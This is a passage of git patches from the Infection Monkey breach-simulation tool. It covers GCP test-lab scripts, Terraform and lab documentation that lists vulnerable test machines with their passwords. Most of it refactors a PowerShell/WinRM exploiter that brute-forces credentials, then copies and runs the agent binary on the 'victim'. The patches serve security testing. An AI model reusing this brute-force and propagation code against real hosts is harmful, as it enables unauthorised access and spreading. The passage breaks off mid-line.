-gcp_handler.stop_machines(GCP_TEST_MACHINE_LIST) +initialize_gcp_client() +stop_machines(GCP_TEST_MACHINE_LIST) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index aa6544e6c..221d783f6 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -40,7 +40,11 @@ from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetri from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import ( TelemetryPerformanceTest, ) -from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers +from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import ( + initialize_gcp_client, + start_machines, + stop_machines, +) from monkey_island.cc.services.mode.mode_enum import IslandModeEnum DEFAULT_TIMEOUT_SECONDS = 5 * 60 @@ -54,15 +58,15 @@ LOGGER = logging.getLogger(__name__) def GCPHandler(request, no_gcp): if not no_gcp: try: - GCPHandler = gcp_machine_handlers.GCPHandler() - GCPHandler.start_machines(GCP_TEST_MACHINE_LIST) + initialize_gcp_client() + start_machines(GCP_TEST_MACHINE_LIST) except Exception as e: LOGGER.error("GCP Handler failed to initialize: %s." % e) pytest.exit("Encountered an error while starting GCP machines. Stopping the tests.") wait_machine_bootup() def fin(): - GCPHandler.stop_machines(GCP_TEST_MACHINE_LIST) + stop_machines(GCP_TEST_MACHINE_LIST) request.addfinalizer(fin) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 38fc7125c..26b4b18a5 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -4,75 +4,71 @@ import subprocess LOGGER = logging.getLogger(__name__) +AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s" +SET_PROPERTY_PROJECT = "gcloud config set project %s" +MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s" +MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s" -class GCPHandler(object): - AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s" - SET_PROPERTY_PROJECT = "gcloud config set project %s" - MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s" - MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s" +# Key path location relative to this file's directory +RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json" +DEFAULT_PROJECT = "guardicore-22050661" - # Key path location relative to this file's directory - RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json" - DEFAULT_PROJECT = "guardicore-22050661" - def __init__( - self, - project_id=DEFAULT_PROJECT, - ): - abs_key_path = GCPHandler.get_absolute_key_path() +def initialize_gcp_client(): + abs_key_path = get_absolute_key_path() - subprocess.call(GCPHandler.get_auth_command(abs_key_path), shell=True) # noqa: DUO116 - LOGGER.info("GCP Handler passed key") + subprocess.call(get_auth_command(abs_key_path), shell=True) # noqa: DUO116 + LOGGER.info("GCP Handler passed key") - subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116 - LOGGER.info("GCP Handler set project") - LOGGER.info("GCP Handler initialized successfully") + subprocess.call(get_set_project_command(DEFAULT_PROJECT), shell=True) # noqa: DUO116 + LOGGER.info("GCP Handler set project") + LOGGER.info("GCP Handler initialized successfully") - @staticmethod - def get_absolute_key_path() -> str: - file_dir = os.path.dirname(os.path.realpath(__file__)) - absolute_key_path = os.path.join(file_dir, GCPHandler.RELATIVE_KEY_PATH) - absolute_key_path = os.path.realpath(absolute_key_path) - if not os.path.isfile(absolute_key_path): - raise FileNotFoundError( - "GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json" +def get_absolute_key_path() -> str: + file_dir = os.path.dirname(os.path.realpath(__file__)) + absolute_key_path = os.path.join(file_dir, RELATIVE_KEY_PATH) + absolute_key_path = os.path.realpath(absolute_key_path) + + if not os.path.isfile(absolute_key_path): + raise FileNotFoundError( + "GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json" + ) + return absolute_key_path + + +def start_machines(machine_list): + """ + Start all the machines in the list. + :param machine_list: A dictionary with zone and machines per zone. + """ + LOGGER.info("Setting up all GCP machines...") + try: + for zone in machine_list: + subprocess.call( # noqa: DUO116 + (MACHINE_STARTING_COMMAND % (" ".join(machine_list[zone]), zone)), + shell=True, ) - return absolute_key_path + LOGGER.info("GCP machines successfully started.") + except Exception as e: + LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) - @staticmethod - def start_machines(machine_list): - """ - Start all the machines in the list. - :param machine_list: A dictionary with zone and machines per zone. - """ - LOGGER.info("Setting up all GCP machines...") - try: - for zone in machine_list: - subprocess.call( # noqa: DUO116 - (GCPHandler.MACHINE_STARTING_COMMAND % (" ".join(machine_list[zone]), zone)), - shell=True, - ) - LOGGER.info("GCP machines successfully started.") - except Exception as e: - LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) - @staticmethod - def stop_machines(machine_list): - try: - for zone in machine_list: - subprocess.call( # noqa: DUO116 - (GCPHandler.MACHINE_STOPPING_COMMAND % (" ".join(machine_list[zone]), zone)), - shell=True, - ) - LOGGER.info("GCP machines stopped successfully.") - except Exception as e: - LOGGER.error("GCP Handler failed to stop network machines: %s" % e) +def stop_machines(machine_list): + try: + for zone in machine_list: + subprocess.call( # noqa: DUO116 + (MACHINE_STOPPING_COMMAND % (" ".join(machine_list[zone]), zone)), + shell=True, + ) + LOGGER.info("GCP machines stopped successfully.") + except Exception as e: + LOGGER.error("GCP Handler failed to stop network machines: %s" % e) - @staticmethod - def get_auth_command(key_path): - return GCPHandler.AUTHENTICATION_COMMAND % key_path - @staticmethod - def get_set_project_command(project): - return GCPHandler.SET_PROPERTY_PROJECT % project +def get_auth_command(key_path): + return AUTHENTICATION_COMMAND % key_path + + +def get_set_project_command(project): + return SET_PROPERTY_PROJECT % project diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 3c4783389..3f293736d 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -57,12 +57,12 @@ data "google_compute_image" "mssql-16" { name = "mssql-16" project = local.monkeyzoo_project } -data "google_compute_image" "powershell-3-47" { - name = "powershell-3-47" +data "google_compute_image" "powershell-3-46" { + name = "powershell-3-46" project = local.monkeyzoo_project } -data "google_compute_image" "powershell-45" { - name = "powershell-45" +data "google_compute_image" "powershell-3-45" { + name = "powershell-3-45" project = local.monkeyzoo_project } data "google_compute_image" "weblogic-18" { diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index a3411c608..241828557 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -313,33 +313,33 @@ resource "google_compute_instance_from_template" "mssql-16" { } } -resource "google_compute_instance_from_template" "powershell-3-47" { - name = "${local.resource_prefix}powershell-3-47" +resource "google_compute_instance_from_template" "powershell-3-46" { + name = "${local.resource_prefix}powershell-3-46" source_instance_template = local.default_windows boot_disk{ initialize_params { - image = data.google_compute_image.powershell-3-47.self_link + image = data.google_compute_image.powershell-3-46.self_link } auto_delete = true } network_interface { subnetwork="${local.resource_prefix}monkeyzoo-main-1" - network_ip="10.2.3.47" + network_ip="10.2.3.46" } } -resource "google_compute_instance_from_template" "powershell-45" { - name = "${local.resource_prefix}powershell-45" +resource "google_compute_instance_from_template" "powershell-3-45" { + name = "${local.resource_prefix}powershell-3-45" source_instance_template = local.default_windows boot_disk{ initialize_params { - image = data.google_compute_image.powershell-45.self_link + image = data.google_compute_image.powershell-3-45.self_link } auto_delete = true } network_interface { subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.45" + network_ip="10.2.3.45" } } diff --git a/vulture_allowlist.py b/vulture_allowlist.py index b39d61dd8..e1454d876 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -196,3 +196,4 @@ environment # unused variable (monkey/monkey_island/cc/models/monkey.py:59) _.environment # unused attribute (monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py:10) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) +GCPHandler # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:57) From 73a3f2057a24b86a5317c0ee824fcbff5086e28e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 24 Aug 2021 13:13:19 +0200 Subject: [PATCH 041/454] Docs: Documentation for PowerShell. Update zoo docs --- .../reference/exploiters/powershell.md | 10 ++ envs/monkey_zoo/docs/fullDocs.md | 167 ++++++++++-------- 2 files changed, 100 insertions(+), 77 deletions(-) create mode 100644 docs/content/reference/exploiters/powershell.md diff --git a/docs/content/reference/exploiters/powershell.md b/docs/content/reference/exploiters/powershell.md new file mode 100644 index 000000000..8c7e96d29 --- /dev/null +++ b/docs/content/reference/exploiters/powershell.md @@ -0,0 +1,10 @@ +--- +title: "PowerShell" +date: 2021-08-24T12:19:21+03:00 +draft: false +tags: ["exploit", "windows"] +--- +### Description + +PowerShell Remoting exploit brute forces machines via WinRM service using credentials provided by the user +(see ["configuration"]({{< ref "/usage/configuration" >}}) for instructions) . diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 3cdc79f74..80ecf5f55 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -30,8 +30,11 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 22 Scan](#_Toc526517197)
    [Nr. 23 Struts2](#_Toc536021476)
    [Nr. 24 Struts2](#_Toc536021477)
    -[Nr. 250 MonkeyIsland](#_Toc536021478)
    -[Nr. 251 MonkeyIsland](#_Toc536021479)
    +[Nr. 25 Zerologon](#_Toc536021478)
    +[Nr. 3-45 Powershell](#_Toc536021479)
    +[Nr. 3-46 Powershell](#_Toc536021480)
    +[Nr. 250 MonkeyIsland](#_Toc536021481)
    +[Nr. 251 MonkeyIsland](#_Toc536021482)
    [Network topography](#network-topography)
    # Warning\! @@ -59,9 +62,9 @@ To deploy: 1. Configure service account for your project: a. Create a service account (GCP website -> IAM & Admin -> Service Accounts -> + CREATE SERVICE ACCOUNT) and name it “your\_name-monkeyZoo-user” - + b. Give these permissions to your service account: - + **Compute Engine -> Compute Network Admin** and **Compute Engine -> Compute Instance Admin (v1)** @@ -69,11 +72,11 @@ To deploy: **Compute Engine -> Compute Security Admin** and **Service Account User** - + or - + **Project -> Owner** - + c. Create and download its **Service account key** in JSON and place it in **monkey_zoo/gcp_keys** as **gcp_key.json**. 2. Get these permissions in the monkeyZoo project (guardicore-22050661) for your service account (ask monkey developers to add them): @@ -85,29 +88,29 @@ To deploy: link to your service account key file): provider "google" { - + project = "test-000000" // Change to your project id - + region = "europe-west3" // Change to your desired region or leave default - + zone = "europe-west3-b" // Change to your desired zone or leave default - - credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key. + + credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key. // If you followed instruction above leave it as is - + } - + locals { - + resource_prefix = "" // All of the resources will have this prefix. // Only change if you want to have multiple zoo's in the same project - + service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email - + monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is. - + } - + 4. Run terraform init To deploy the network run:
    @@ -117,7 +120,7 @@ To deploy the network run:
    # Using islands: -###How to get into the islands: +### How to get into the islands: **island-linux-250:** SSH from GCP @@ -125,9 +128,9 @@ To deploy the network run:
    island-windows-251. Set password for your account and then RDP into the island. -###These are most common steps on monkey islands: +### These are most common steps on monkey islands: -####island-linux-250: +#### island-linux-250: To run monkey island:
    `sudo /usr/run\_island.sh`
    @@ -142,7 +145,7 @@ Update all requirements using deployment script:
    1\. `cd /usr/infection_monkey/deployment_scripts`
    2\. `./deploy_linux.sh "/usr/infection_monkey" "develop"`
    -####island-windows-251: +#### island-windows-251: To run monkey island:
    Execute C:\\run\_monkey\_island.bat as administrator @@ -156,8 +159,8 @@ To update repository:
    3\. `git pull` (updates develop branch)
    Update all requirements using deployment script:
    -1. `cd C:\infection_monkey\deployment_scripts`
    -2. `./run_script.bat "C:\infection_monkey" "develop"` +1\. `cd C:\infection_monkey\deployment_scripts`
    +2\. `./run_script.bat "C:\infection_monkey" "develop"`
    # Running tests: @@ -276,10 +279,6 @@ fullTest.conf is a good config to start, because it covers all machines. Notes: Quick tutorial on how to add entries (was useful when setting up). - - - - @@ -357,10 +356,6 @@ fullTest.conf is a good config to start, because it covers all machines. Notes: - - - - @@ -433,10 +428,6 @@ fullTest.conf is a good config to start, because it covers all machines. Notes: Vulnerable app is under /cgi-bin/test.cgi - - - - @@ -613,10 +604,6 @@ fullTest.conf is a good config to start, because it covers all machines. Notes: - - - - @@ -653,10 +640,6 @@ fullTest.conf is a good config to start, because it covers all machines. Notes: Don’t add this machine’s credentials to exploit configuration. - - - - @@ -695,10 +678,6 @@ fullTest.conf is a good config to start, because it covers all machines. Notes: - - - - @@ -765,10 +744,6 @@ fullTest.conf is a good config to start, because it covers all machines. Notes: If you change this machine’s IP it won’t get exploited. - - - - @@ -839,10 +814,6 @@ fullTest.conf is a good config to start, because it covers all machines. Notes: - - - - @@ -985,10 +956,6 @@ fullTest.conf is a good config to start, because it covers all machines. Notes: Used to scan a machine that has no vulnerabilities (to evaluate scanning speed for e.g.) - - - - @@ -1093,17 +1060,13 @@ fullTest.conf is a good config to start, because it covers all machines. Notes: - - - - - @@ -1123,7 +1086,63 @@ fullTest.conf is a good config to start, because it covers all machines.

    Nr. 25 ZeroLogon

    +

    Nr. 25 ZeroLogon

    (10.2.2.25)

    (Vulnerable)
    - + + + + + + + + + + + + + + + + + + + + + +

    Nr. 250 MonkeyIsland

    +

    Nr. 3-45 Powershell

    +

    (10.2.3.45)

    (Vulnerable)
    OS:Windows Server 2016 x64
    Software:WinRM service
    Default server’s port:-
    Notes:User: m0nk3y, Password: Passw0rd!
    User: m0nk3y-user, No Password.
    + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-46 Powershell

    +

    (10.2.3.46)

    (Vulnerable)
    OS:Windows Server 2016 x64
    Software:WinRM service
    Default server’s port:-
    Notes:User: m0nk3y, Password: Passw0rd!
    + + + + + @@ -1149,20 +1168,18 @@ fullTest.conf is a good config to start, because it covers all machines. - - - - +

    Nr. 250 MonkeyIsland

    (10.2.2.250)

    Notes: Only accessible trough GCP
    - + @@ -1183,13 +1200,9 @@ fullTest.conf is a good config to start, because it covers all machines. - - - -

    Nr. 251 MonkeyIsland

    +

    Nr. 251 MonkeyIsland

    (10.2.2.251)

    OS: Windows Server 2016 x64Notes: Only accessible trough GCP
    # Network topography: - + From f1c247ad932f32079db25d3d822364cf48281f7f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 09:29:02 -0400 Subject: [PATCH 042/454] Agent: Refactored PowerShellExploiter authentication function names --- monkey/infection_monkey/exploit/powershell.py | 99 ++++++++++--------- 1 file changed, 52 insertions(+), 47 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 91ba9df71..952337e81 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -41,76 +41,61 @@ class PowerShellExploiter(HostExploiter): logging.getLogger(package.__name__).setLevel(logging.ERROR) def _exploit_host(self): - result = self._attempt_exploitations() - if not result: + self.client = self._authenticate_via_brute_force() + if not self.client: return False - arch = self._get_host_arch() - self.is_32bit = arch == WIN_ARCH_32 + self._execute_monkey_agent_on_victim() - self._write_virtual_file_to_local_path() - - self.monkey_path_on_victim = ( - self._config.dropper_target_path_win_32 - if self.is_32bit - else self._config.dropper_target_path_win_64 - ) - is_monkey_copy_successful = self._copy_monkey_binary_on_victim() - - if is_monkey_copy_successful: - self._execute_monkey_on_victim() - else: - return False - - return True - - def _attempt_exploitations(self) -> bool: + def _authenticate_via_brute_force(self) -> typing.Optional[Client]: try: - self.client = self._exploit_without_credentials() + client = self._authenticate_with_empty_credentials() + return client except FailedExploitationError: LOG.info("Failed exploitation without credentials.") - try: - self.client = self._exploit_with_usernames_only( - usernames=self._config.exploit_user_list - ) - except FailedExploitationError: - LOG.info("Failed exploitation using configured usernames only.") - try: - self.client = self._exploit_with_credentials( - credential_list=self._config.get_exploit_user_password_pairs() - ) - except FailedExploitationError: - LOG.info("Failed exploitation using configured credentials. Quitting.") - return False - return True + try: + client = self._authenticate_with_empty_passwords( + usernames=self._config.exploit_user_list + ) + return client + except FailedExploitationError: + LOG.info("Failed exploitation using configured usernames only.") - def _exploit_without_credentials(self) -> Client: - return self._try_exploit() + try: + client = self._authenticate_with_usernames_and_passwords( + credential_list=self._config.get_exploit_user_password_pairs() + ) + return client + except FailedExploitationError: + LOG.info("Failed exploitation using configured credentials. Quitting.") - def _exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client: + return None + + def _authenticate_with_empty_credentials(self) -> Client: + return self._authenticate(None, None) + + def _authenticate_with_empty_passwords(self, usernames: typing.List[str]) -> Client: for username in usernames: try: - client = self._try_exploit(username) + client = self._authenticate(username, None) return client except FailedExploitationError: pass raise FailedExploitationError - def _exploit_with_credentials( + def _authenticate_with_usernames_and_passwords( self, credential_list: typing.List[typing.Tuple[str, str]] ) -> Client: for username, password in credential_list: try: - client = self._try_exploit(username, password) + client = self._authenticate(username, password) return client except FailedExploitationError: pass raise FailedExploitationError - def _try_exploit( - self, username: typing.Optional[str] = None, password: typing.Optional[str] = None - ) -> Client: + def _authenticate(self, username: str, password: str) -> Client: try: with Client( self.host.ip_addr, @@ -124,6 +109,26 @@ class PowerShellExploiter(HostExploiter): except Exception: raise FailedExploitationError + def _execute_monkey_agent_on_victim(self): + arch = self._get_host_arch() + self.is_32bit = arch == WIN_ARCH_32 + + self._write_virtual_file_to_local_path() + + self.monkey_path_on_victim = ( + self._config.dropper_target_path_win_32 + if self.is_32bit + else self._config.dropper_target_path_win_64 + ) + is_monkey_copy_successful = self._copy_monkey_binary_to_victim() + + if is_monkey_copy_successful: + self._run_monkey_executable_on_victim() + else: + return False + + return True + def _get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]: output = self._execute_cmd_on_host(GET_ARCH_WINDOWS) if "64-bit" in output: @@ -142,7 +147,7 @@ class PowerShellExploiter(HostExploiter): with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: monkey_local_file.write(monkey_virtual_file.read()) - def _copy_monkey_binary_on_victim(self) -> bool: + def _copy_monkey_binary_to_victim(self) -> bool: try: self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, self.monkey_path_on_victim) return True @@ -151,7 +156,7 @@ class PowerShellExploiter(HostExploiter): finally: os.remove(TEMP_MONKEY_BINARY_FILEPATH) - def _execute_monkey_on_victim(self) -> None: + def _run_monkey_executable_on_victim(self) -> None: monkey_params = build_monkey_commandline( target_host=self.host, depth=get_monkey_depth() - 1, From 66527b1bde5ec49fa09882785a732d159ebbbc00 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 09:37:05 -0400 Subject: [PATCH 043/454] Agent: Move Windows architecture constants from web_rce.py -> consts.py --- monkey/infection_monkey/exploit/consts.py | 3 +++ monkey/infection_monkey/exploit/powershell.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 4 +--- 3 files changed, 5 insertions(+), 4 deletions(-) create mode 100644 monkey/infection_monkey/exploit/consts.py diff --git a/monkey/infection_monkey/exploit/consts.py b/monkey/infection_monkey/exploit/consts.py new file mode 100644 index 000000000..e74c7786c --- /dev/null +++ b/monkey/infection_monkey/exploit/consts.py @@ -0,0 +1,3 @@ +# Constants used to refer to windows architectures +WIN_ARCH_32 = "32" +WIN_ARCH_64 = "64" diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 952337e81..17a8913f8 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -11,9 +11,9 @@ from urllib3 import connectionpool import infection_monkey.monkeyfs as monkeyfs from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType +from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os -from infection_monkey.exploit.web_rce import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.model import DROPPER_ARG, GET_ARCH_WINDOWS, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index ad39b3b8b..8c1ac96c7 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -4,6 +4,7 @@ from abc import abstractmethod from posixpath import join from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus +from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools @@ -30,9 +31,6 @@ LOG = logging.getLogger(__name__) # Command used to check if monkeys already exists LOOK_FOR_FILE = "ls %s" POWERSHELL_NOT_FOUND = "powershell is not recognized" -# Constants used to refer to windows architectures( used in host.os['machine']) -WIN_ARCH_32 = "32" -WIN_ARCH_64 = "64" class WebRCE(HostExploiter): From 79cc82b159eb6ed5bc6de63254cf1a184d84f7ec Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 10:35:21 -0400 Subject: [PATCH 044/454] Agent: Remove duplicated try/except if/else from PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 97 +++++++------------ 1 file changed, 37 insertions(+), 60 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 17a8913f8..b89b55daa 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,6 +1,6 @@ import logging import os -import typing +from typing import List, Optional, Tuple, Union import pypsrp import spnego @@ -9,7 +9,6 @@ from pypsrp.powershell import PowerShell, RunspacePool from urllib3 import connectionpool import infection_monkey.monkeyfs as monkeyfs -from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter @@ -45,71 +44,49 @@ class PowerShellExploiter(HostExploiter): if not self.client: return False - self._execute_monkey_agent_on_victim() + return self._execute_monkey_agent_on_victim() - def _authenticate_via_brute_force(self) -> typing.Optional[Client]: - try: - client = self._authenticate_with_empty_credentials() - return client - except FailedExploitationError: - LOG.info("Failed exploitation without credentials.") + def _authenticate_via_brute_force(self) -> Optional[Client]: + credentials = self._get_credentials() - try: - client = self._authenticate_with_empty_passwords( - usernames=self._config.exploit_user_list - ) - return client - except FailedExploitationError: - LOG.info("Failed exploitation using configured usernames only.") - - try: - client = self._authenticate_with_usernames_and_passwords( - credential_list=self._config.get_exploit_user_password_pairs() - ) - return client - except FailedExploitationError: - LOG.info("Failed exploitation using configured credentials. Quitting.") - - return None - - def _authenticate_with_empty_credentials(self) -> Client: - return self._authenticate(None, None) - - def _authenticate_with_empty_passwords(self, usernames: typing.List[str]) -> Client: - for username in usernames: - try: - client = self._authenticate(username, None) - return client - except FailedExploitationError: - pass - raise FailedExploitationError - - def _authenticate_with_usernames_and_passwords( - self, credential_list: typing.List[typing.Tuple[str, str]] - ) -> Client: - for username, password in credential_list: + for username, password in credentials: try: client = self._authenticate(username, password) return client - except FailedExploitationError: + except Exception: pass - raise FailedExploitationError - def _authenticate(self, username: str, password: str) -> Client: - try: - with Client( - self.host.ip_addr, - username=username, - password=password, - cert_validation=False, - ) as client: - # attempt to execute dir command to know if authentication was successful - client.execute_cmd("dir") - return client - except Exception: - raise FailedExploitationError + return None - def _execute_monkey_agent_on_victim(self): + def _get_credentials(self) -> List[Tuple[Optional[str], Optional[str]]]: + credentials = [] + credentials.extend(self._get_empty_credentials()) + credentials.extend(self._get_username_only_credentials()) + credentials.extend(self._get_username_password_credentials()) + + return credentials + + def _get_empty_credentials(self) -> List[Tuple[None, None]]: + return [(None, None)] + + def _get_username_only_credentials(self) -> List[Tuple[str, None]]: + return [(username, None) for username in self._config.exploit_user_list] + + def _get_username_password_credentials(self) -> List[Tuple[str, str]]: + return [credentials for credentials in self._config.get_exploit_user_password_pairs()] + + def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client: + with Client( + self.host.ip_addr, + username=username, + password=password, + cert_validation=False, + ) as client: + # attempt to execute dir command to know if authentication was successful + client.execute_cmd("dir") + return client + + def _execute_monkey_agent_on_victim(self) -> bool: arch = self._get_host_arch() self.is_32bit = arch == WIN_ARCH_32 @@ -129,7 +106,7 @@ class PowerShellExploiter(HostExploiter): return True - def _get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]: + def _get_host_arch(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: output = self._execute_cmd_on_host(GET_ARCH_WINDOWS) if "64-bit" in output: return WIN_ARCH_64 From fb18c1cbd4714759d220dc2b375026451ca3575d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 11:43:17 -0400 Subject: [PATCH 045/454] Agent: Only use "None" creds in powershell exploiter if host is Windows --- monkey/infection_monkey/exploit/powershell.py | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index b89b55daa..ee855e5d8 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -15,6 +15,7 @@ from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.model import DROPPER_ARG, GET_ARCH_WINDOWS, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -59,6 +60,10 @@ class PowerShellExploiter(HostExploiter): return None def _get_credentials(self) -> List[Tuple[Optional[str], Optional[str]]]: + # When username or password is None, this instructs the powershell client to attempt to use + # The current user's credentials. This is only valid if the client is running from a Windows + # machine. + credentials = [] credentials.extend(self._get_empty_credentials()) credentials.extend(self._get_username_only_credentials()) @@ -67,10 +72,18 @@ class PowerShellExploiter(HostExploiter): return credentials def _get_empty_credentials(self) -> List[Tuple[None, None]]: - return [(None, None)] + if is_windows_os(): + return [(None, None)] - def _get_username_only_credentials(self) -> List[Tuple[str, None]]: - return [(username, None) for username in self._config.exploit_user_list] + return [] + + def _get_username_only_credentials(self) -> List[Tuple[str, Optional[str]]]: + credentials = [(username, "") for username in self._config.exploit_user_list] + + if is_windows_os(): + credentials.extend([(username, None) for username in self._config.exploit_user_list]) + + return credentials def _get_username_password_credentials(self) -> List[Tuple[str, str]]: return [credentials for credentials in self._config.get_exploit_user_password_pairs()] From 8209fa55df8cfdf4ab628b999638da28006ffa25 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 11:53:48 -0400 Subject: [PATCH 046/454] Agent: Set client parameters if password is "" in PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index ee855e5d8..36d10f709 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -89,11 +89,18 @@ class PowerShellExploiter(HostExploiter): return [credentials for credentials in self._config.get_exploit_user_password_pairs()] def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client: + ssl = password != "" + auth = "negotiate" if password != "" else "basic" + encryption = "auto" if password != "" else "never" + with Client( self.host.ip_addr, username=username, password=password, cert_validation=False, + ssl=ssl, + auth=auth, + encryption=encryption, ) as client: # attempt to execute dir command to know if authentication was successful client.execute_cmd("dir") From a2bdc693880ad2a408746c9d07adec7fecea8947 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 12:03:42 -0400 Subject: [PATCH 047/454] Agent: Log and report exploitation attempts from PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 36d10f709..6fbae703e 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -53,9 +53,20 @@ class PowerShellExploiter(HostExploiter): for username, password in credentials: try: client = self._authenticate(username, password) + + LOG.info( + "Successfully logged into {self.host.ip_addr} using Powershell. User: " + "{username}" + ) + self.report_login_attempt(True, username, password) + return client - except Exception: - pass + except Exception as ex: # noqa: F841 + LOG.debug( + "Error logging into {self.host.ip_addr} using Powershell. User: " + "{username}, Error: 